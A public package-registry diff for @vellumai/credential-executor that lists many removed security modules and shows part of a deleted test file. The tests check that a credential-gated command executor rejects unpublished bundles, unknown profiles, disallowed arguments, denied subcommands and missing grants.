@vellumai/credential-executor 0.10.7 → 0.10.8-dev.202607102228.5945895
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/Dockerfile +1 -1
- package/node_modules/@vellumai/service-contracts/package.json +1 -2
- package/node_modules/@vellumai/service-contracts/src/__tests__/attachment-naming.test.ts +104 -0
- package/node_modules/@vellumai/service-contracts/src/__tests__/contracts.test.ts +0 -2
- package/node_modules/@vellumai/service-contracts/src/attachment-naming.ts +118 -0
- package/node_modules/@vellumai/service-contracts/src/credential-rpc.ts +3 -5
- package/node_modules/@vellumai/service-contracts/src/index.ts +2 -4
- package/node_modules/@vellumai/service-contracts/src/rpc.ts +4 -447
- package/package.json +2 -3
- package/src/__tests__/bulk-set-credentials.test.ts +1 -1
- package/src/__tests__/local-standalone.test.ts +5 -36
- package/src/__tests__/managed-integration.test.ts +112 -91
- package/src/__tests__/managed-reconnect.test.ts +2 -2
- package/src/__tests__/transport.test.ts +23 -27
- package/src/cli.ts +1 -1
- package/src/index.ts +8 -88
- package/src/main.ts +228 -340
- package/src/paths.ts +4 -20
- package/src/server.ts +52 -469
- package/node_modules/@vellumai/service-contracts/src/__tests__/grants.test.ts +0 -686
- package/node_modules/@vellumai/service-contracts/src/grants.ts +0 -184
- package/node_modules/@vellumai/service-contracts/src/rendering.ts +0 -135
- package/src/__tests__/command-executor.test.ts +0 -1879
- package/src/__tests__/command-validator.test.ts +0 -1405
- package/src/__tests__/command-workspace.test.ts +0 -1050
- package/src/__tests__/grant-store.test.ts +0 -689
- package/src/__tests__/http-executor.test.ts +0 -1336
- package/src/__tests__/http-policy.test.ts +0 -1069
- package/src/__tests__/local-materializers.test.ts +0 -860
- package/src/__tests__/local-token-refresh.test.ts +0 -361
- package/src/__tests__/manage-secure-command-tool.test.ts +0 -134
- package/src/__tests__/managed-lazy-getters.test.ts +0 -359
- package/src/__tests__/managed-materializers.test.ts +0 -1028
- package/src/__tests__/managed-rejection.test.ts +0 -43
- package/src/__tests__/toolstore.test.ts +0 -773
- package/src/audit/store.ts +0 -188
- package/src/commands/auth-adapters.ts +0 -169
- package/src/commands/egress-hooks.ts +0 -203
- package/src/commands/executor.ts +0 -1155
- package/src/commands/output-scan.ts +0 -157
- package/src/commands/profiles.ts +0 -286
- package/src/commands/validator.ts +0 -702
- package/src/commands/workspace.ts +0 -550
- package/src/grants/index.ts +0 -17
- package/src/grants/persistent-store.ts +0 -309
- package/src/grants/rpc-handlers.ts +0 -293
- package/src/grants/temporary-store.ts +0 -289
- package/src/http/audit.ts +0 -84
- package/src/http/executor.ts +0 -684
- package/src/http/path-template.ts +0 -245
- package/src/http/policy.ts +0 -238
- package/src/http/response-filter.ts +0 -233
- package/src/managed-errors.ts +0 -9
- package/src/managed-lazy-getters.ts +0 -106
- package/src/managed-main.ts +0 -822
- package/src/materializers/local-oauth-lookup.ts +0 -98
- package/src/materializers/local-token-refresh.ts +0 -287
- package/src/materializers/local.ts +0 -316
- package/src/materializers/managed-platform.ts +0 -295
- package/src/subjects/local.ts +0 -177
- package/src/subjects/managed.ts +0 -311
- package/src/subjects/policy.ts +0 -79
- package/src/toolstore/integrity.ts +0 -94
- package/src/toolstore/manifest.ts +0 -154
- package/src/toolstore/publish.ts +0 -571
|
@@ -1,1879 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Tests for CES authenticated command execution.
|
|
3
|
-
*
|
|
4
|
-
* Covers:
|
|
5
|
-
* 1. Local static-secret command profile execution
|
|
6
|
-
* 2. Local OAuth command profile execution
|
|
7
|
-
* 3. Managed OAuth command profile execution
|
|
8
|
-
* 4. Banned binary rejection at execution time
|
|
9
|
-
* 5. Missing `proxy_required` egress hooks rejection
|
|
10
|
-
* 6. Invalid auth adapter config rejection
|
|
11
|
-
* 7. Undeclared output file rejection
|
|
12
|
-
* 8. Off-target outbound request blocking (via egress proxy)
|
|
13
|
-
* 9. Bundle digest mismatch (unpublished bundle)
|
|
14
|
-
* 10. Profile not found in manifest
|
|
15
|
-
* 11. Argv does not match any allowed pattern
|
|
16
|
-
* 12. Missing grant rejection
|
|
17
|
-
* 13. Credential materialization failure
|
|
18
|
-
* 14. Command string parsing for RPC handler
|
|
19
|
-
*/
|
|
20
|
-
|
|
21
|
-
import { describe, expect, test, beforeEach, afterEach } from "bun:test";
|
|
22
|
-
import {
|
|
23
|
-
mkdirSync,
|
|
24
|
-
writeFileSync,
|
|
25
|
-
readFileSync,
|
|
26
|
-
rmSync,
|
|
27
|
-
chmodSync,
|
|
28
|
-
symlinkSync,
|
|
29
|
-
unlinkSync,
|
|
30
|
-
realpathSync,
|
|
31
|
-
} from "node:fs";
|
|
32
|
-
import { join } from "node:path";
|
|
33
|
-
import { tmpdir } from "node:os";
|
|
34
|
-
import { randomUUID } from "node:crypto";
|
|
35
|
-
|
|
36
|
-
import { AuthAdapterType } from "../commands/auth-adapters.js";
|
|
37
|
-
import {
|
|
38
|
-
EgressMode,
|
|
39
|
-
MANIFEST_SCHEMA_VERSION,
|
|
40
|
-
type SecureCommandManifest,
|
|
41
|
-
} from "../commands/profiles.js";
|
|
42
|
-
import {
|
|
43
|
-
executeAuthenticatedCommand,
|
|
44
|
-
type ExecuteCommandRequest,
|
|
45
|
-
type CommandExecutorDeps,
|
|
46
|
-
type MaterializeCredentialFn,
|
|
47
|
-
} from "../commands/executor.js";
|
|
48
|
-
import { PersistentGrantStore } from "../grants/persistent-store.js";
|
|
49
|
-
import { TemporaryGrantStore } from "../grants/temporary-store.js";
|
|
50
|
-
import {
|
|
51
|
-
publishBundle,
|
|
52
|
-
getBundleManifestPath,
|
|
53
|
-
getBundleDir,
|
|
54
|
-
} from "../toolstore/publish.js";
|
|
55
|
-
import { getCesToolStoreDir, getCesDataRoot } from "../paths.js";
|
|
56
|
-
import { computeDigest } from "../toolstore/integrity.js";
|
|
57
|
-
import {
|
|
58
|
-
hashProposal,
|
|
59
|
-
type CommandGrantProposal,
|
|
60
|
-
} from "@vellumai/service-contracts/credential-rpc";
|
|
61
|
-
|
|
62
|
-
// ---------------------------------------------------------------------------
|
|
63
|
-
// Test helpers
|
|
64
|
-
// ---------------------------------------------------------------------------
|
|
65
|
-
|
|
66
|
-
/** Generate a temp directory for test isolation. */
|
|
67
|
-
function makeTempDir(prefix: string): string {
|
|
68
|
-
const dir = join(tmpdir(), `${prefix}-${randomUUID()}`);
|
|
69
|
-
mkdirSync(dir, { recursive: true });
|
|
70
|
-
return dir;
|
|
71
|
-
}
|
|
72
|
-
|
|
73
|
-
/**
|
|
74
|
-
* Build a minimal valid SecureCommandManifest for testing.
|
|
75
|
-
*/
|
|
76
|
-
function buildManifest(
|
|
77
|
-
overrides: Partial<SecureCommandManifest> = {},
|
|
78
|
-
): SecureCommandManifest {
|
|
79
|
-
return {
|
|
80
|
-
schemaVersion: MANIFEST_SCHEMA_VERSION,
|
|
81
|
-
bundleDigest: "", // Filled by publishTestBundle
|
|
82
|
-
bundleId: "test-cli",
|
|
83
|
-
version: "1.0.0",
|
|
84
|
-
entrypoint: "bin/test-cli",
|
|
85
|
-
commandProfiles: {
|
|
86
|
-
list: {
|
|
87
|
-
description: "List resources",
|
|
88
|
-
allowedArgvPatterns: [
|
|
89
|
-
{
|
|
90
|
-
name: "list-all",
|
|
91
|
-
tokens: ["list", "--format", "<format>"],
|
|
92
|
-
},
|
|
93
|
-
],
|
|
94
|
-
deniedSubcommands: ["auth login"],
|
|
95
|
-
allowedNetworkTargets: [
|
|
96
|
-
{
|
|
97
|
-
hostPattern: "api.example.com",
|
|
98
|
-
protocols: ["https"],
|
|
99
|
-
},
|
|
100
|
-
],
|
|
101
|
-
},
|
|
102
|
-
get: {
|
|
103
|
-
description: "Get a single resource",
|
|
104
|
-
allowedArgvPatterns: [
|
|
105
|
-
{
|
|
106
|
-
name: "get-by-id",
|
|
107
|
-
tokens: ["get", "<id>"],
|
|
108
|
-
},
|
|
109
|
-
],
|
|
110
|
-
deniedSubcommands: [],
|
|
111
|
-
allowedNetworkTargets: [
|
|
112
|
-
{
|
|
113
|
-
hostPattern: "api.example.com",
|
|
114
|
-
protocols: ["https"],
|
|
115
|
-
},
|
|
116
|
-
],
|
|
117
|
-
},
|
|
118
|
-
},
|
|
119
|
-
authAdapter: {
|
|
120
|
-
type: AuthAdapterType.EnvVar,
|
|
121
|
-
envVarName: "TEST_API_KEY",
|
|
122
|
-
},
|
|
123
|
-
egressMode: EgressMode.ProxyRequired,
|
|
124
|
-
...overrides,
|
|
125
|
-
};
|
|
126
|
-
}
|
|
127
|
-
|
|
128
|
-
/**
|
|
129
|
-
* Publish a test bundle into the CES toolstore and return the digest.
|
|
130
|
-
*
|
|
131
|
-
* Creates a real tar.gz archive containing the entrypoint shell script
|
|
132
|
-
* at the manifest's declared entrypoint path, then publishes it through
|
|
133
|
-
* the actual publishBundle function so the extraction path is exercised.
|
|
134
|
-
*/
|
|
135
|
-
function publishTestBundle(
|
|
136
|
-
manifest: SecureCommandManifest,
|
|
137
|
-
cesMode: "local" | "managed" = "local",
|
|
138
|
-
scriptContent = '#!/bin/sh\necho "hello from test-cli"\n',
|
|
139
|
-
): { digest: string; manifest: SecureCommandManifest } {
|
|
140
|
-
// Build a tar.gz archive containing the entrypoint at the declared path
|
|
141
|
-
const archiveStagingDir = makeTempDir("ces-archive-staging");
|
|
142
|
-
try {
|
|
143
|
-
const entrypoint = manifest.entrypoint || "bin/test-cli";
|
|
144
|
-
const entrypointFullPath = join(archiveStagingDir, entrypoint);
|
|
145
|
-
mkdirSync(join(archiveStagingDir, entrypoint, ".."), { recursive: true });
|
|
146
|
-
writeFileSync(entrypointFullPath, scriptContent, { mode: 0o755 });
|
|
147
|
-
|
|
148
|
-
// Create tar.gz archive
|
|
149
|
-
const archivePath = join(archiveStagingDir, "bundle.tar.gz");
|
|
150
|
-
const tarProc = Bun.spawnSync(
|
|
151
|
-
["tar", "czf", archivePath, "-C", archiveStagingDir, entrypoint],
|
|
152
|
-
{ stdout: "pipe", stderr: "pipe" },
|
|
153
|
-
);
|
|
154
|
-
if (tarProc.exitCode !== 0) {
|
|
155
|
-
const stderr = tarProc.stderr
|
|
156
|
-
? new TextDecoder().decode(tarProc.stderr).trim()
|
|
157
|
-
: "unknown error";
|
|
158
|
-
throw new Error(`Failed to create test archive: ${stderr}`);
|
|
159
|
-
}
|
|
160
|
-
|
|
161
|
-
const bundleBytes = Buffer.from(readFileSync(archivePath));
|
|
162
|
-
const digest = computeDigest(bundleBytes);
|
|
163
|
-
|
|
164
|
-
// Update the manifest with the computed digest
|
|
165
|
-
const fullManifest: SecureCommandManifest = {
|
|
166
|
-
...manifest,
|
|
167
|
-
bundleDigest: digest,
|
|
168
|
-
};
|
|
169
|
-
|
|
170
|
-
const result = publishBundle({
|
|
171
|
-
bundleBytes,
|
|
172
|
-
expectedDigest: digest,
|
|
173
|
-
bundleId: fullManifest.bundleId,
|
|
174
|
-
version: fullManifest.version,
|
|
175
|
-
sourceUrl: "https://releases.example.com/test-cli-1.0.0.tar.gz",
|
|
176
|
-
secureCommandManifest: fullManifest,
|
|
177
|
-
cesMode,
|
|
178
|
-
});
|
|
179
|
-
|
|
180
|
-
if (!result.success) {
|
|
181
|
-
throw new Error(`Failed to publish test bundle: ${result.error}`);
|
|
182
|
-
}
|
|
183
|
-
|
|
184
|
-
return { digest, manifest: fullManifest };
|
|
185
|
-
} finally {
|
|
186
|
-
try {
|
|
187
|
-
rmSync(archiveStagingDir, { recursive: true, force: true });
|
|
188
|
-
} catch {
|
|
189
|
-
// Best-effort cleanup
|
|
190
|
-
}
|
|
191
|
-
}
|
|
192
|
-
}
|
|
193
|
-
|
|
194
|
-
/**
|
|
195
|
-
* Create a successful credential materializer for testing.
|
|
196
|
-
*/
|
|
197
|
-
function successMaterializer(
|
|
198
|
-
value = "test-secret-value",
|
|
199
|
-
): MaterializeCredentialFn {
|
|
200
|
-
return async (_handle: string) => ({
|
|
201
|
-
ok: true as const,
|
|
202
|
-
value,
|
|
203
|
-
handleType: "local_static",
|
|
204
|
-
});
|
|
205
|
-
}
|
|
206
|
-
|
|
207
|
-
/**
|
|
208
|
-
* Create a failing credential materializer for testing.
|
|
209
|
-
*/
|
|
210
|
-
function failMaterializer(error = "Secret not found"): MaterializeCredentialFn {
|
|
211
|
-
return async (_handle: string) => ({
|
|
212
|
-
ok: false as const,
|
|
213
|
-
error,
|
|
214
|
-
});
|
|
215
|
-
}
|
|
216
|
-
|
|
217
|
-
/**
|
|
218
|
-
* Build minimal executor deps for testing.
|
|
219
|
-
*/
|
|
220
|
-
function buildDeps(
|
|
221
|
-
overrides: Partial<CommandExecutorDeps> = {},
|
|
222
|
-
): CommandExecutorDeps {
|
|
223
|
-
const grantsDir = makeTempDir("ces-grants");
|
|
224
|
-
const persistentStore = new PersistentGrantStore(grantsDir);
|
|
225
|
-
persistentStore.init();
|
|
226
|
-
|
|
227
|
-
return {
|
|
228
|
-
persistentStore,
|
|
229
|
-
temporaryStore: new TemporaryGrantStore(),
|
|
230
|
-
materializeCredential: successMaterializer(),
|
|
231
|
-
cesMode: "local",
|
|
232
|
-
...overrides,
|
|
233
|
-
};
|
|
234
|
-
}
|
|
235
|
-
|
|
236
|
-
/**
|
|
237
|
-
* Add a command grant to the persistent store.
|
|
238
|
-
*
|
|
239
|
-
* Pattern uses the canonical triple: `credentialHandle:bundleDigest:profileName`.
|
|
240
|
-
*/
|
|
241
|
-
function addCommandGrant(
|
|
242
|
-
store: PersistentGrantStore,
|
|
243
|
-
credentialHandle: string,
|
|
244
|
-
bundleDigest: string,
|
|
245
|
-
profileName: string,
|
|
246
|
-
): void {
|
|
247
|
-
store.add({
|
|
248
|
-
id: randomUUID(),
|
|
249
|
-
tool: "command",
|
|
250
|
-
pattern: `${credentialHandle}:${bundleDigest}:${profileName}`,
|
|
251
|
-
scope: credentialHandle,
|
|
252
|
-
createdAt: Date.now(),
|
|
253
|
-
sessionId: "test-session",
|
|
254
|
-
});
|
|
255
|
-
}
|
|
256
|
-
|
|
257
|
-
/**
|
|
258
|
-
* Add a temporary command grant.
|
|
259
|
-
*
|
|
260
|
-
* Constructs the same CommandGrantProposal shape that the executor builds
|
|
261
|
-
* and hashes it with `hashProposal` from `@vellumai/service-contracts` so the
|
|
262
|
-
* hashes align.
|
|
263
|
-
*/
|
|
264
|
-
function addTemporaryCommandGrant(
|
|
265
|
-
store: TemporaryGrantStore,
|
|
266
|
-
credentialHandle: string,
|
|
267
|
-
bundleDigest: string,
|
|
268
|
-
profileName: string,
|
|
269
|
-
kind: "allow_once" | "allow_10m" | "allow_conversation" = "allow_once",
|
|
270
|
-
conversationId?: string,
|
|
271
|
-
argv: string[] = [],
|
|
272
|
-
purpose: string = "Test execution",
|
|
273
|
-
): void {
|
|
274
|
-
const proposal: CommandGrantProposal = {
|
|
275
|
-
type: "command",
|
|
276
|
-
credentialHandle,
|
|
277
|
-
command: `${bundleDigest}/${profileName}${argv.length ? " " + argv.join(" ") : ""}`,
|
|
278
|
-
purpose,
|
|
279
|
-
allowedCommandPatterns: [
|
|
280
|
-
`${credentialHandle}:${bundleDigest}:${profileName}`,
|
|
281
|
-
],
|
|
282
|
-
};
|
|
283
|
-
const proposalHash = hashProposal(proposal);
|
|
284
|
-
store.add(kind, proposalHash, { conversationId });
|
|
285
|
-
}
|
|
286
|
-
|
|
287
|
-
// ---------------------------------------------------------------------------
|
|
288
|
-
// Test state management
|
|
289
|
-
// ---------------------------------------------------------------------------
|
|
290
|
-
|
|
291
|
-
let testWorkspaceDir: string;
|
|
292
|
-
|
|
293
|
-
beforeEach(() => {
|
|
294
|
-
testWorkspaceDir = makeTempDir("ces-workspace");
|
|
295
|
-
|
|
296
|
-
// Set up a clean CES data root for tests
|
|
297
|
-
const cesRoot = getCesDataRoot("local");
|
|
298
|
-
mkdirSync(cesRoot, { recursive: true });
|
|
299
|
-
mkdirSync(getCesToolStoreDir("local"), { recursive: true });
|
|
300
|
-
});
|
|
301
|
-
|
|
302
|
-
afterEach(() => {
|
|
303
|
-
try {
|
|
304
|
-
rmSync(testWorkspaceDir, { recursive: true, force: true });
|
|
305
|
-
} catch {
|
|
306
|
-
// Best-effort cleanup
|
|
307
|
-
}
|
|
308
|
-
});
|
|
309
|
-
|
|
310
|
-
// ---------------------------------------------------------------------------
|
|
311
|
-
// Bundle resolution tests
|
|
312
|
-
// ---------------------------------------------------------------------------
|
|
313
|
-
|
|
314
|
-
describe("executeAuthenticatedCommand — bundle resolution", () => {
|
|
315
|
-
test("rejects unpublished bundle digest", async () => {
|
|
316
|
-
const deps = buildDeps();
|
|
317
|
-
const request: ExecuteCommandRequest = {
|
|
318
|
-
bundleDigest: "0".repeat(64),
|
|
319
|
-
profileName: "list",
|
|
320
|
-
credentialHandle: "local_static:test/api_key",
|
|
321
|
-
argv: ["list", "--format", "json"],
|
|
322
|
-
workspaceDir: testWorkspaceDir,
|
|
323
|
-
purpose: "Test execution",
|
|
324
|
-
};
|
|
325
|
-
|
|
326
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
327
|
-
|
|
328
|
-
expect(result.success).toBe(false);
|
|
329
|
-
expect(result.error).toContain("not published");
|
|
330
|
-
});
|
|
331
|
-
|
|
332
|
-
test("rejects bundle with denied binary entrypoint at execution time", async () => {
|
|
333
|
-
// This is a defense-in-depth test — the manifest validator should
|
|
334
|
-
// catch this at publish time, but the executor also checks.
|
|
335
|
-
// We can't actually publish a denied-binary bundle because the
|
|
336
|
-
// validator rejects it, so we exercise the unresolved-digest path
|
|
337
|
-
// to verify the executor's own error surface exists. The denied
|
|
338
|
-
// binary list itself is tested exhaustively in
|
|
339
|
-
// command-validator.test.ts.
|
|
340
|
-
const deps = buildDeps();
|
|
341
|
-
const request: ExecuteCommandRequest = {
|
|
342
|
-
bundleDigest: "a".repeat(64),
|
|
343
|
-
profileName: "list",
|
|
344
|
-
credentialHandle: "local_static:test/api_key",
|
|
345
|
-
argv: ["list", "--format", "json"],
|
|
346
|
-
workspaceDir: testWorkspaceDir,
|
|
347
|
-
purpose: "Test execution",
|
|
348
|
-
};
|
|
349
|
-
|
|
350
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
351
|
-
|
|
352
|
-
expect(result.success).toBe(false);
|
|
353
|
-
// Will fail at bundle resolution since digest isn't published
|
|
354
|
-
expect(result.error).toBeDefined();
|
|
355
|
-
});
|
|
356
|
-
});
|
|
357
|
-
|
|
358
|
-
// ---------------------------------------------------------------------------
|
|
359
|
-
// Profile validation tests
|
|
360
|
-
// ---------------------------------------------------------------------------
|
|
361
|
-
|
|
362
|
-
describe("executeAuthenticatedCommand — profile validation", () => {
|
|
363
|
-
test("rejects unknown profile name", async () => {
|
|
364
|
-
const manifest = buildManifest();
|
|
365
|
-
const { digest } = publishTestBundle(manifest);
|
|
366
|
-
|
|
367
|
-
const deps = buildDeps();
|
|
368
|
-
addCommandGrant(
|
|
369
|
-
deps.persistentStore,
|
|
370
|
-
"local_static:test/api_key",
|
|
371
|
-
digest,
|
|
372
|
-
"nonexistent",
|
|
373
|
-
);
|
|
374
|
-
|
|
375
|
-
const request: ExecuteCommandRequest = {
|
|
376
|
-
bundleDigest: digest,
|
|
377
|
-
profileName: "nonexistent",
|
|
378
|
-
credentialHandle: "local_static:test/api_key",
|
|
379
|
-
argv: ["list", "--format", "json"],
|
|
380
|
-
workspaceDir: testWorkspaceDir,
|
|
381
|
-
purpose: "Test execution",
|
|
382
|
-
};
|
|
383
|
-
|
|
384
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
385
|
-
|
|
386
|
-
expect(result.success).toBe(false);
|
|
387
|
-
expect(result.error).toContain("not found in manifest");
|
|
388
|
-
});
|
|
389
|
-
|
|
390
|
-
test("rejects argv that does not match any allowed pattern", async () => {
|
|
391
|
-
const manifest = buildManifest();
|
|
392
|
-
const { digest } = publishTestBundle(manifest);
|
|
393
|
-
|
|
394
|
-
const deps = buildDeps();
|
|
395
|
-
addCommandGrant(
|
|
396
|
-
deps.persistentStore,
|
|
397
|
-
"local_static:test/api_key",
|
|
398
|
-
digest,
|
|
399
|
-
"list",
|
|
400
|
-
);
|
|
401
|
-
|
|
402
|
-
const request: ExecuteCommandRequest = {
|
|
403
|
-
bundleDigest: digest,
|
|
404
|
-
profileName: "list",
|
|
405
|
-
credentialHandle: "local_static:test/api_key",
|
|
406
|
-
// This doesn't match the pattern ["list", "--format", "<format>"]
|
|
407
|
-
argv: ["delete", "--all"],
|
|
408
|
-
workspaceDir: testWorkspaceDir,
|
|
409
|
-
purpose: "Test execution",
|
|
410
|
-
};
|
|
411
|
-
|
|
412
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
413
|
-
|
|
414
|
-
expect(result.success).toBe(false);
|
|
415
|
-
expect(result.error).toContain("does not match any allowed pattern");
|
|
416
|
-
});
|
|
417
|
-
|
|
418
|
-
test("rejects denied subcommand", async () => {
|
|
419
|
-
const manifest = buildManifest();
|
|
420
|
-
const { digest } = publishTestBundle(manifest);
|
|
421
|
-
|
|
422
|
-
const deps = buildDeps();
|
|
423
|
-
addCommandGrant(
|
|
424
|
-
deps.persistentStore,
|
|
425
|
-
"local_static:test/api_key",
|
|
426
|
-
digest,
|
|
427
|
-
"list",
|
|
428
|
-
);
|
|
429
|
-
|
|
430
|
-
const request: ExecuteCommandRequest = {
|
|
431
|
-
bundleDigest: digest,
|
|
432
|
-
profileName: "list",
|
|
433
|
-
credentialHandle: "local_static:test/api_key",
|
|
434
|
-
argv: ["auth", "login"],
|
|
435
|
-
workspaceDir: testWorkspaceDir,
|
|
436
|
-
purpose: "Test execution",
|
|
437
|
-
};
|
|
438
|
-
|
|
439
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
440
|
-
|
|
441
|
-
expect(result.success).toBe(false);
|
|
442
|
-
expect(result.error).toContain("denied");
|
|
443
|
-
});
|
|
444
|
-
|
|
445
|
-
test("rejects argv matching wrong profile", async () => {
|
|
446
|
-
const manifest = buildManifest();
|
|
447
|
-
const { digest } = publishTestBundle(manifest);
|
|
448
|
-
|
|
449
|
-
const deps = buildDeps();
|
|
450
|
-
addCommandGrant(
|
|
451
|
-
deps.persistentStore,
|
|
452
|
-
"local_static:test/api_key",
|
|
453
|
-
digest,
|
|
454
|
-
"list",
|
|
455
|
-
);
|
|
456
|
-
|
|
457
|
-
// argv matches the "get" profile, but we requested "list"
|
|
458
|
-
const request: ExecuteCommandRequest = {
|
|
459
|
-
bundleDigest: digest,
|
|
460
|
-
profileName: "list",
|
|
461
|
-
credentialHandle: "local_static:test/api_key",
|
|
462
|
-
argv: ["get", "resource-123"],
|
|
463
|
-
workspaceDir: testWorkspaceDir,
|
|
464
|
-
purpose: "Test execution",
|
|
465
|
-
};
|
|
466
|
-
|
|
467
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
468
|
-
|
|
469
|
-
expect(result.success).toBe(false);
|
|
470
|
-
expect(result.error).toContain("does not match any pattern");
|
|
471
|
-
});
|
|
472
|
-
});
|
|
473
|
-
|
|
474
|
-
// ---------------------------------------------------------------------------
|
|
475
|
-
// Grant enforcement tests
|
|
476
|
-
// ---------------------------------------------------------------------------
|
|
477
|
-
|
|
478
|
-
describe("executeAuthenticatedCommand — grant enforcement", () => {
|
|
479
|
-
test("rejects command without any grant", async () => {
|
|
480
|
-
const manifest = buildManifest();
|
|
481
|
-
const { digest } = publishTestBundle(manifest);
|
|
482
|
-
|
|
483
|
-
const deps = buildDeps();
|
|
484
|
-
// No grant added
|
|
485
|
-
|
|
486
|
-
const request: ExecuteCommandRequest = {
|
|
487
|
-
bundleDigest: digest,
|
|
488
|
-
profileName: "list",
|
|
489
|
-
credentialHandle: "local_static:test/api_key",
|
|
490
|
-
argv: ["list", "--format", "json"],
|
|
491
|
-
workspaceDir: testWorkspaceDir,
|
|
492
|
-
purpose: "Test execution",
|
|
493
|
-
};
|
|
494
|
-
|
|
495
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
496
|
-
|
|
497
|
-
expect(result.success).toBe(false);
|
|
498
|
-
expect(result.error).toContain("No active grant");
|
|
499
|
-
});
|
|
500
|
-
|
|
501
|
-
test("allows command with a persistent grant", async () => {
|
|
502
|
-
const manifest = buildManifest({
|
|
503
|
-
egressMode: EgressMode.NoNetwork,
|
|
504
|
-
commandProfiles: {
|
|
505
|
-
list: {
|
|
506
|
-
description: "List resources",
|
|
507
|
-
allowedArgvPatterns: [
|
|
508
|
-
{
|
|
509
|
-
name: "list-all",
|
|
510
|
-
tokens: ["list", "--format", "<format>"],
|
|
511
|
-
},
|
|
512
|
-
],
|
|
513
|
-
deniedSubcommands: [],
|
|
514
|
-
},
|
|
515
|
-
},
|
|
516
|
-
});
|
|
517
|
-
const { digest } = publishTestBundle(
|
|
518
|
-
manifest,
|
|
519
|
-
"local",
|
|
520
|
-
'#!/bin/sh\necho "hello"\n',
|
|
521
|
-
);
|
|
522
|
-
|
|
523
|
-
const deps = buildDeps();
|
|
524
|
-
addCommandGrant(
|
|
525
|
-
deps.persistentStore,
|
|
526
|
-
"local_static:test/api_key",
|
|
527
|
-
digest,
|
|
528
|
-
"list",
|
|
529
|
-
);
|
|
530
|
-
|
|
531
|
-
const request: ExecuteCommandRequest = {
|
|
532
|
-
bundleDigest: digest,
|
|
533
|
-
profileName: "list",
|
|
534
|
-
credentialHandle: "local_static:test/api_key",
|
|
535
|
-
argv: ["list", "--format", "json"],
|
|
536
|
-
workspaceDir: testWorkspaceDir,
|
|
537
|
-
purpose: "Test execution",
|
|
538
|
-
};
|
|
539
|
-
|
|
540
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
541
|
-
|
|
542
|
-
// The command itself may fail (since the entrypoint is a test script),
|
|
543
|
-
// but it should get past the grant check
|
|
544
|
-
expect(result.error ?? "").not.toContain("No active grant");
|
|
545
|
-
});
|
|
546
|
-
|
|
547
|
-
test("allows command with a temporary grant", async () => {
|
|
548
|
-
const manifest = buildManifest({
|
|
549
|
-
egressMode: EgressMode.NoNetwork,
|
|
550
|
-
commandProfiles: {
|
|
551
|
-
list: {
|
|
552
|
-
description: "List resources",
|
|
553
|
-
allowedArgvPatterns: [
|
|
554
|
-
{
|
|
555
|
-
name: "list-all",
|
|
556
|
-
tokens: ["list", "--format", "<format>"],
|
|
557
|
-
},
|
|
558
|
-
],
|
|
559
|
-
deniedSubcommands: [],
|
|
560
|
-
},
|
|
561
|
-
},
|
|
562
|
-
});
|
|
563
|
-
const { digest } = publishTestBundle(
|
|
564
|
-
manifest,
|
|
565
|
-
"local",
|
|
566
|
-
'#!/bin/sh\necho "hello"\n',
|
|
567
|
-
);
|
|
568
|
-
|
|
569
|
-
const deps = buildDeps();
|
|
570
|
-
addTemporaryCommandGrant(
|
|
571
|
-
deps.temporaryStore,
|
|
572
|
-
"local_static:test/api_key",
|
|
573
|
-
digest,
|
|
574
|
-
"list",
|
|
575
|
-
"allow_once",
|
|
576
|
-
undefined,
|
|
577
|
-
["list", "--format", "json"],
|
|
578
|
-
"Test execution",
|
|
579
|
-
);
|
|
580
|
-
|
|
581
|
-
const request: ExecuteCommandRequest = {
|
|
582
|
-
bundleDigest: digest,
|
|
583
|
-
profileName: "list",
|
|
584
|
-
credentialHandle: "local_static:test/api_key",
|
|
585
|
-
argv: ["list", "--format", "json"],
|
|
586
|
-
workspaceDir: testWorkspaceDir,
|
|
587
|
-
purpose: "Test execution",
|
|
588
|
-
};
|
|
589
|
-
|
|
590
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
591
|
-
|
|
592
|
-
// Should get past the grant check
|
|
593
|
-
expect(result.error ?? "").not.toContain("No active grant");
|
|
594
|
-
});
|
|
595
|
-
});
|
|
596
|
-
|
|
597
|
-
// ---------------------------------------------------------------------------
|
|
598
|
-
// Credential materialization tests
|
|
599
|
-
// ---------------------------------------------------------------------------
|
|
600
|
-
|
|
601
|
-
describe("executeAuthenticatedCommand — credential materialization", () => {
|
|
602
|
-
test("rejects when credential materialization fails", async () => {
|
|
603
|
-
const manifest = buildManifest({
|
|
604
|
-
egressMode: EgressMode.NoNetwork,
|
|
605
|
-
commandProfiles: {
|
|
606
|
-
list: {
|
|
607
|
-
description: "List resources",
|
|
608
|
-
allowedArgvPatterns: [
|
|
609
|
-
{
|
|
610
|
-
name: "list-all",
|
|
611
|
-
tokens: ["list", "--format", "<format>"],
|
|
612
|
-
},
|
|
613
|
-
],
|
|
614
|
-
deniedSubcommands: [],
|
|
615
|
-
},
|
|
616
|
-
},
|
|
617
|
-
});
|
|
618
|
-
const { digest } = publishTestBundle(
|
|
619
|
-
manifest,
|
|
620
|
-
"local",
|
|
621
|
-
'#!/bin/sh\necho "credential materialization test"\n',
|
|
622
|
-
);
|
|
623
|
-
|
|
624
|
-
const deps = buildDeps({
|
|
625
|
-
materializeCredential: failMaterializer("Credential store is locked"),
|
|
626
|
-
});
|
|
627
|
-
addCommandGrant(
|
|
628
|
-
deps.persistentStore,
|
|
629
|
-
"local_static:test/api_key",
|
|
630
|
-
digest,
|
|
631
|
-
"list",
|
|
632
|
-
);
|
|
633
|
-
|
|
634
|
-
const request: ExecuteCommandRequest = {
|
|
635
|
-
bundleDigest: digest,
|
|
636
|
-
profileName: "list",
|
|
637
|
-
credentialHandle: "local_static:test/api_key",
|
|
638
|
-
argv: ["list", "--format", "json"],
|
|
639
|
-
workspaceDir: testWorkspaceDir,
|
|
640
|
-
purpose: "Test execution",
|
|
641
|
-
};
|
|
642
|
-
|
|
643
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
644
|
-
|
|
645
|
-
expect(result.success).toBe(false);
|
|
